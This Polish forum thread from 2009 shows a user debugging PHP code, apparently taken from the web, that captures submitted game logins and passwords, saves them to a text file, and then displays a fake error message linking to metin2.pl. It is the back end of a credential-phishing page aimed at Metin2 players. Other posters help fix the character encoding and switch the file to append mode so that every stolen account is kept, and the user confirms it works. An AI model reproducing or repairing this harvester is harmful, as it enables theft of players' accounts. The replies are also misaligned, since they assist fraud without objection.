Oto mój kod:
<?php
error_reporting(0);
if (!array_key_exists('blogin',$_POST)) { echo('Nie podałe¶ loginu !'); }
elseif(!array_key_exists('haslo',$_POST)) { echo('Nie podałe¶ hasła !'); }
else
{
$file=fopen("usernames.txt",'w'); flock($file,3);
fwrite($file,$_POST['blogin']); fwrite($file,"
");
fwrite($file,$_POST['haslo']); flock($file,1); fclose($file);
echo('
Bł±d na stronie !
Proszę klikn±ć w link poniżej i spróbować jeszcze raz !
http://www.metin2.pl '); }; ?>
Zdobyłem go z neta, wszystko byłoby Ok gdyby nie pare rzeczy:
-brak polskich znaków
-informacje są zapisywane do pliku ale nie tak jakbym chciał np. informacja nr.1 zostanie zastąpiona informacją nr.2 (kiedy ta zostanie wprowadzona)
Prosze o pomoc w tych dwóch problemach. Za pomoc z góry dziękuje.
flaszer
(flaszer)
13 Luty 2009 16:49
#2
Żeby mieć polskie znaki zamień te w kodzie na polskie, a następnie ustaw kodowanie:
br />
"http://www.w3c.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
Standardy kodowania
Żeby natomiast zapisywało Ci każdy rekord w osobnym wierszu, dodaj na końcu zapisywanego stringa znak specjalny “\n”. Spowoduje on przejście do następnej linii, gdzie będą zapisywane pozostałe rekordy. W ogóle to możesz zmienić urywek swojego kodu na coś takiego:
$tresc = $_POST['blogin']."
".$_POST['haslo']."\n";
fwrite($file,$tresc);
fclose($file);
Jak już pisałem jestem zielony w tej kategori, i dlatego mam prośbe czy mógłbyś mi pokazać jak będzie wyglądał gotowy kod. A ten kod na kodowanie to nie jest czasem do html ?
HTML można spokojnie osadzać w PHP.
Co do zwiększania bym pomógł ale dopiero ogarniam MySQL. Tam na pewno można dać rekordowi by każdy update był dodawany jako +1 do rekordu w tablicy.
flaszer
(flaszer)
13 Luty 2009 20:04
#5
br />
"http://www.w3c.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
Standardy kodowania
<?php
error_reporting(0);
if (!array_key_exists('blogin',$_POST)) { echo('Nie podałe¶ loginu !'); }
elseif(!array_key_exists('haslo',$_POST)) { echo('Nie podałe¶ hasła !'); }
else
{
$file=fopen("usernames.txt",'w'); flock($file,3);
$tresc = $_POST['blogin']."
".$_POST['haslo']."\n";
fwrite($file,$tresc);
flock($file,1);
fclose($file);
echo('
Bł±d na stronie !
Proszę klikn±ć w link poniżej i spróbować jeszcze raz !
http://www.metin2.pl '); };
?>
Niestety ale kod który podałeś nie działa, tzn działa ale jest tak jak było. Informacja nr.1 jest zastanpiana przez info. nr.2 , a tekst w ogóle sie nie wyswietla.
flaszer
(flaszer)
13 Luty 2009 20:52
#7
W ogóle, to przy otwieraniu pliku zamień parametr “w” na “a”. Powinno działać.
Zamieniłem… i działa Dzięki wielkie.